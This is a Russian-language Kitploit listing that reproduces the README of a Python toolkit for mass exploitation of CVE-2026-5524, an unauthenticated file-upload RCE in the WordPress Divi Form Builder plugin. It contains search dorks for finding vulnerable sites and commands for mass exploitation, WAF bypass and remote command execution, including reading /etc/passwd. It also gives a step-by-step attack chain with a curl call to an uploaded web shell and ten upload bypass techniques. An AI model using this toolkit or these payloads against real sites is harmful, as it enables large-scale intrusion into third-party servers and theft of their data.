Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5524-PoC — Python-тулкит для массовой эксплуатации CVE-2026-5524 — неаутентифицированной RCE через загрузку файлов в плагине WordPress Divi Form Builder, с загрузкой веб-шелла и выполнением команд. | Kitploit
Инструменты/GitHubGitHub/iicaicai/cve-2026-5524-poc
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииОбход WAFВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиТроян Удаленного Доступа
253 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Python-тулкит для массовой эксплуатации CVE-2026-5524 — неаутентифицированной RCE через загрузку файлов в плагине WordPress Divi Form Builder, с загрузкой веб-шелла и выполнением команд.

Репозиторий
Поделиться

CVE-2026-5524 — Неаутентифицированный RCE в Divi Form Builder

Массовый эксплойт-тулкит для CVE-2026-5524 — уязвимости неаутентифицированной загрузки произвольных файлов в WordPress-плагине Divi Form Builder <= 5.1.8, приводящей к удалённому выполнению кода.

version Devon Aji python telegram

ПолеЗначение
CVE2026-5524
CVSS9.8 (Критический)
ВекторAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ЗатронутоDivi Form Builder <= 5.1.8
Исправлено5.1.9
ТипНеаутентифицированная загрузка файлов с переходом в RCE
Исследователь0xd4rk5id3 - EnvoraSec

Содержание

  • Описание
  • Дорки
  • Установка
  • Использование
    • Одиночная цель
    • Массовый эксплойт
    • Продвинутый обход
    • Выполнение команд
  • Детали уязвимости
  • Техники обхода
  • Технологический стек
  • Структура проекта
  • Сценарий атаки
  • Отказ от ответственности

Описание

Плагин Divi Form Builder для WordPress содержит уязвимость неаутентифицированной загрузки произвольных файлов. Обработчик do_image_upload() передаёт контролируемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указав значение вроде phtml, атакующий может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с расширением, исполняемым PHP (.phtml, .phar, .php5, .php7 и аналогичные).

После того как файл оказывается в /wp-content/uploads/de_fb_uploads/, Apache исполняет его как PHP, предоставляя атакующему удалённое выполнение кода от имени пользователя веб-сервера.

Проблема исправлена в Divi Form Builder 5.1.9.


Дорки

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Установка

Требования: Python 3.8 или новее на Linux, macOS или WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Использование

Одиночная цель

python3 CVE-2026-5524.py -u https://target.com

Массовый эксплойт

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Продвинутый обход

Для целей за WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Выполнение команд

После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивную оболочку.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Флаги

ФлагОписание
-u URLURL одиночной цели
-l FILEФайл со списком целей, по одному URL на строку
-t NКоличество параллельных потоков (по умолчанию 10)
--timeout NТаймаут запроса в секундах (по умолчанию 15)
-o FILEСохранить результаты в выходной файл JSONL
--proxy URLНаправлять трафик через HTTP-прокси
--nonce HASHИспользовать вручную указанный nonce, пропустить автоопределение
--ext EXTПринудительно использовать одно расширение вместо полного списка обхода
--shellПерейти в интерактивную RCE-оболочку при успехе (только для одиночной цели)
--cmd CMDВыполнить одну команду на цели и выйти
--shell-file FILEЗагрузить пользовательский шелл-пейлоад вместо встроенного
--no-verifyПропустить этап проверки RCE после загрузки
--strict-verifyПодтвердить, что URL шелла возвращает HTTP 200, для фильтрации ложных срабатываний
--user-iniЗагрузить дроппер .user.ini для окружений PHP-FPM
--htaccessЗагрузить повторно включающий .htaccess для окружений Apache
--aggressiveВключить все доступные техники обхода
--null-byteВключить попытки с нулевым байтом и двойным расширением
--path-traversalПопытаться загрузить в подкаталоги /uploads/YYYY/MM/
--debugВыводить необработанные HTTP-ответы для диагностики

Детали уязвимости

Уязвимый код

Уязвимый обработчик строит регулярное выражение из пользовательского ввода без санитизации.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Отправив acceptFileTypes=phtml, получаем регулярное выражение /\.(phtml)$/i, которое соответствует именам файлов, оканчивающимся на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Затем Apache исполняет загруженный файл как PHP, что приводит к удалённому выполнению кода.

Подтверждённая цепочка атаки

  1. Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т. д.). Добавить параметр ?nocache=<random>, чтобы обойти Varnish, WP Rocket и другие кэши страниц, которые иначе отдали бы устаревший nonce.

  2. Извлечь значение fb_nonce из локализованного JavaScript-объекта:

    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. Отправить POST-запрос multipart-формы на /wp-admin/admin-ajax.php с:

    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Прочитать URL файла из JSON-ответа:

    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Запросить шелл с командой в base64:

    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Техники обхода

#ТехникаЦели
1Альтернативные расширения PHP .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlПравило .htaccess плагина, блокирующее только .php
2Вариации регистра .PHTML, .PHP5, .PhTmLРегистрозависимые сигнатуры WAF (NinjaFirewall)
3Двойное расширение .phtml.jpg, .php.jpgОсобенности согласования содержимого Apache mod_mime
4Нулевой байт .php%00.jpg, .phtml%00.txtСтарые версии PHP (ниже 5.3.4) и некоторые парсеры
5Завершающий пробел или точка .php , .php.Windows IIS и старые версии Apache
6Подмена Content-Type application/octet-streamWAF, ориентированные на заголовок Content-Type multipart
7Загрузка настоящего .htaccess, повторно включающего PHP для .gif, .png, .jpg, .txt, .html и т. д.Apache-серверы с AllowOverride All
8Загрузка .user.ini с auto_prepend_fileОкружения PHP-FPM
9Инъекция имени файла через манипуляцию границей multipartПрокси и WAF, повторно разбирающие тело запроса
10Обход пути ../shell.phtml в имени файлаОграничения каталога плагина

Скрипт пробует каждую технику в порядке приоритета и, когда установлен --aggressive, пытается применить каждую, даже если первая загрузка сообщила об успехе.


Технологический стек

Скрипт эксплойта

Скачать инструмент